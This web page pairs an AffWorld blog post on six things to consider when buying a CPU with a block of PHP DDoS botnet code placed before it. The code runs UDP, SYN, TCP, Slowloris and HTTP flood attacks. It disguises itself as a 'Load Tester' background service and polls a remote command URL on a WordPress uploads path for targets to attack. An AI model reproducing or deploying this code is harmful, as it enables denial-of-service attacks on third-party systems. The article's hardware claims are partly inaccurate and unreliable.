) < $end_time) { for ($i = 0; $i < 150; $i++) { $socket = @fsockopen("udp://$host", $port, $errno, $errstr, 1); if ($socket) { fwrite($socket, str_repeat("U", 1024)); fclose($socket); $total_packets++; } } if (rand(0, 100) > 90) { echo "[UDP] Packets sent: " . number_format($total_packets) . "
"; flush(); } usleep(5000); } return $total_packets; } function syn_flood_attack($host, $port, $threads, $duration) { $start_time = microtime(true); $end_time = $start_time + $duration; $total_packets = 0; echo "[SYN] Starting flood on $host:$port with $threads threads
"; flush(); while (microtime(true) < $end_time) { for ($i = 0; $i < $threads; $i++) { $socket = @fsockopen($host, $port, $errno, $errstr, 0.5); if ($socket) { fclose($socket); $total_packets++; } } if (rand(0, 100) > 95) { echo "[SYN] Packets sent: " . number_format($total_packets) . "
"; flush(); } usleep(50000); } return $total_packets; } function slowloris_attack($host, $port, $threads, $duration) { $start_time = microtime(true); $end_time = $start_time + $duration; $connections = []; echo "[SLOW] Starting attack on $host:$port with $threads connections
"; flush(); for ($i = 0; $i < $threads; $i++) { $socket = @fsockopen($host, $port, $errno, $errstr, 2); if ($socket) { $partial_request = "GET /?" . uniqid() . " HTTP/1.1\r\n"; $partial_request .= "Host: " . parse_url($host, PHP_URL_HOST) . "\r\n"; $partial_request .= "User-Agent: " . UserAgentGenerator::generate() . "\r\n"; fwrite($socket, $partial_request); $connections[] = $socket; } } echo "[SLOW] Initialized with " . count($connections) . " connections
"; flush(); while (microtime(true) < $end_time) { foreach ($connections as $socket) { if (rand(0, 100) > 70) { fwrite($socket, "X-" . uniqid() . ": " . str_repeat("A", rand(10, 100)) . "\r\n"); } } if (rand(0, 100) > 95) { echo "[SLOW] Active connections: " . count($connections) . "
"; flush(); } sleep(5); } foreach ($connections as $socket) { @fclose($socket); } return count($connections); } function execute_attack($target, $duration, $threads, $method, $mode = 'NON', $port = 80) { if (ob_get_level()) ob_end_clean(); echo "[ATTACK] Starting: $method on $target for {$duration}s with $threads threads
"; flush(); $start_time = microtime(true); $layer4_methods = [AttackMethods::TCP, AttackMethods::UDP, AttackMethods::SYN, AttackMethods::ACK, AttackMethods::FIN, AttackMethods::RST, AttackMethods::XMAS]; if (in_array($method, $layer4_methods)) { $host = parse_url($target, PHP_URL_HOST) ?: $target; switch($method) { case AttackMethods::TCP: $result = tcp_flood_attack($host, $port, $threads, $duration); echo "[TCP] Completed: " . number_format($result) . " packets
"; break; case AttackMethods::UDP: $result = udp_flood_attack($host, $port, $threads, $duration); echo "[UDP] Completed: " . number_format($result) . " packets
"; break; case AttackMethods::SYN: $result = syn_flood_attack($host, $port, $threads, $duration); echo "[SYN] Completed: " . number_format($result) . " packets
"; break; default: $result = tcp_flood_attack($host, $port, $threads, $duration); echo "[L4] Completed: " . number_format($result) . " packets
"; } } else { execute_http_attack($target, $duration, $threads, $method, $mode); } $elapsed = microtime(true) - $start_time; echo "[ATTACK] Finished in " . round($elapsed, 2) . "s
"; flush(); } function execute_http_attack($target_url, $duration, $threads, $method, $mode = 'NON') { $multi_handles = []; $session_pools = []; $start_time = microtime(true); $end_time = $start_time + $duration; $total_requests = 0; $failed_requests = 0; $num_pools = min(3, ceil($threads / 4000)); $sockets_per_pool = floor($threads / $num_pools); for ($i = 0; $i < $num_pools; $i++) { $multi_handles[$i] = curl_multi_init(); curl_multi_setopt($multi_handles[$i], CURLMOPT_PIPELINING, 3); curl_multi_setopt($multi_handles[$i], CURLMOPT_MAX_HOST_CONNECTIONS, 1000); curl_multi_setopt($multi_handles[$i], CURLMOPT_MAX_TOTAL_CONNECTIONS, 4000); $session_pools[$i] = []; for ($j = 0; $j < $sockets_per_pool; $j++) { $session_id = SessionManager::createSession(); $session_pools[$i][$j] = $session_id; $use_post = false; if ($method == AttackMethods::RUDY || $mode == 'POST' || ($mode == 'MIX' && mt_rand(0, 100) > 60)) { $use_post = true; } $ch = setup_curl_handle($target_url, $session_id, $use_post); curl_multi_add_handle($multi_handles[$i], $ch); } } echo "[HTTP] Initialized $num_pools pools
"; flush(); $last_stats_time = $start_time; $peak_rps = 0; while (microtime(true) < $end_time) { $current_time = microtime(true); for ($i = 0; $i < $num_pools; $i++) { $active = null; curl_multi_exec($multi_handles[$i], $active); while ($info = curl_multi_info_read($multi_handles[$i])) { $ch = $info['handle']; $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); if ($http_code != 200 && $http_code != 404 && $http_code != 403) $failed_requests++; curl_multi_remove_handle($multi_handles[$i], $ch); curl_close($ch); $total_requests++; $pool_index = mt_rand(0, $num_pools - 1); $session_index = array_rand($session_pools[$pool_index]); $session_id = $session_pools[$pool_index][$session_index]; $use_post = false; if ($method == AttackMethods::RUDY || $mode == 'POST' || ($mode == 'MIX' && mt_rand(0, 100) > 60)) { $use_post = true; } $new_ch = setup_curl_handle($target_url, $session_id, $use_post); curl_multi_add_handle($multi_handles[$pool_index], $new_ch); } curl_multi_select($multi_handles[$i], 0.001); } if ($current_time - $last_stats_time >= 5) { $elapsed = $current_time - $start_time; $current_rps = round($total_requests / $elapsed); $peak_rps = max($peak_rps, $current_rps); $active_sessions = SessionManager::getActiveSessionsCount(); $mem_usage = round(memory_get_usage(true) / 1024 / 1024, 2); echo "[STATS] RPS: $current_rps | Total: " . number_format($total_requests) . " | Failed: " . number_format($failed_requests) . " | Mem: {$mem_usage}MB
"; flush(); $last_stats_time = $current_time; } usleep(1000); if ($method == AttackMethods::GEYE && mt_rand(0, 100) > 95) { for ($burst = 0; $burst < 50; $burst++) { $session_id = SessionManager::createSession(); $ch = setup_curl_handle($target_url, $session_id, true); curl_multi_add_handle($multi_handles[mt_rand(0, $num_pools - 1)], $ch); $total_requests++; } echo "[GEYE] Burst: 50 POST requests added
"; flush(); } } for ($i = 0; $i < $num_pools; $i++) { $active = null; curl_multi_exec($multi_handles[$i], $active); while ($info = curl_multi_info_read($multi_handles[$i])) { curl_multi_remove_handle($multi_handles[$i], $info['handle']); curl_close($info['handle']); } curl_multi_close($multi_handles[$i]); } $elapsed = microtime(true) - $start_time; $avg_rps = round($total_requests / $elapsed); echo "[HTTP] Completed: Avg RPS: $avg_rps | Total: " . number_format($total_requests) . " | Failed: " . number_format($failed_requests) . "
"; flush(); } function check_api_for_commands() { $api_url = "https://tuvanthienha.vn/wp-content/uploads/2024/03/api.php"; try { $ch = curl_init($api_url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false ]); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { if (strpos($response, 'url) && isset($xml->time)) { $target = (string)$xml->url; $time = (int)$xml->time; $wait = (int)$xml->wait; $method = isset($xml->method) ? (string)$xml->method : 'FLOOD'; $conc = isset($xml->conc) ? (int)$xml->conc : 1000; $mode = isset($xml->mode) ? (string)$xml->mode : 'NON'; $port = isset($xml->port) ? (int)$xml->port : 80; echo "[API] Command received: $method on $target for {$time}s
"; echo "[API] Threads: $conc | Mode: $mode
"; flush(); if ($wait > 0) { echo "[API] Waiting $wait seconds...
"; flush(); sleep($wait); } execute_attack($target, $time, $conc, $method, $mode, $port); return true; } } } echo "[API] No commands found
"; flush(); return false; } catch (Exception $e) { echo "[API] Error: " . $e->getMessage() . "
"; flush(); return false; } } // Main execution if (isset($_GET['check'])) { // AJAX check endpoint ob_start(); check_api_for_commands(); $output = ob_get_clean(); echo $output; exit; } if (isset($_GET['type'])) { // Direct API request ob_start(); $type = $_GET['type'] ?? ''; $url = $_GET['url'] ?? ''; $met = $_GET['met'] ?? ''; $conc = intval($_GET['conc'] ?? 1000); $time = intval($_GET['time'] ?? 30); $mode = $_GET['mode'] ?? 'NON'; $port = intval($_GET['port'] ?? 80); if (!empty($url) && !empty($met) && $conc > 0 && $time > 0) { execute_attack($url, $time, $conc, $met, $mode, $port); } else { echo "[ERROR] Invalid parameters
"; } $output = ob_get_clean(); echo $output; exit; } // Main page ?> Load Tester - Background Service
Status: ACTIVE | Next check: 5s
[SYSTEM] Load tester started. Checking for commands every 5 seconds...
Purchasing a Computer Processor: Six Considerations – AffWorld
Home TechPurchasing a Computer Processor: Six Considerations
gray and green computer processor and black motherboard

Purchasing a Computer Processor: Six Considerations

by AffWorld

When building a computer from scratch or upgrading to higher-end components from an older model, the first component to consider is the CPU (central processing unit), namely the processor. Unfortunately, many computer users choose a CPU based only on its clock speed, even though several other parameters influence CPU performance.

This post will provide you with six points to consider before acquiring a processor and will assist you in making upgrading selections.

1. CPU Speed

CPU speed, often known as clock speed, influences the rate at which your computer’s applications may be executed. Typically, older CPU models have hundreds of megahertz (MHz) clock rates. However, CPUs now operate at gigahertz, significantly improving over earlier versions (GHz). As a result, faster computers are always superior to slower ones.

2. Quad Core vs. Cor i3, i5, i7 series

You might consider purchasing more powerful CPUs if you utilize many apps and programs concurrently on your computer. These processors might be pricey, but they can substantially boost your productivity. If you are only interested in gaming, you can remain with substantially less expensive CPUs. You may also search for other manufacturers, such as AMD. Just make sure you choose the appropriate opponent.








3. Bandwidth

Bandwidth controls how much data your computer can process for each instruction. This is measured in bits, and most computer processors are 32-bit. In contrast, modern computer processors currently operate at 64-bit bandwidth speed.

4. Front Side Bus (FSB) speed

This component facilitates communication between your CPU and other computer components. Information is sent between the CPU and the remainder of the system at the rate of FSB.

5. Level 2 (L2) Cache

The L2 cache is the CPU’s internal memory, where data may be read and saved instantly. If the L2 cache becomes full, your computer will store part of its data in RAM. The CPU will then wait for the RAM to transfer the requested data. A large L2 cache can be of great assistance while running multimedia programs.

6. Compatibility

Motherboards do not support all CPUs; therefore, before creating a computer or updating an older one, ensure that the CPU is compatible with the chipset on the motherboard. Then, you explore computer compatibility issues or consult with computer sales representatives.

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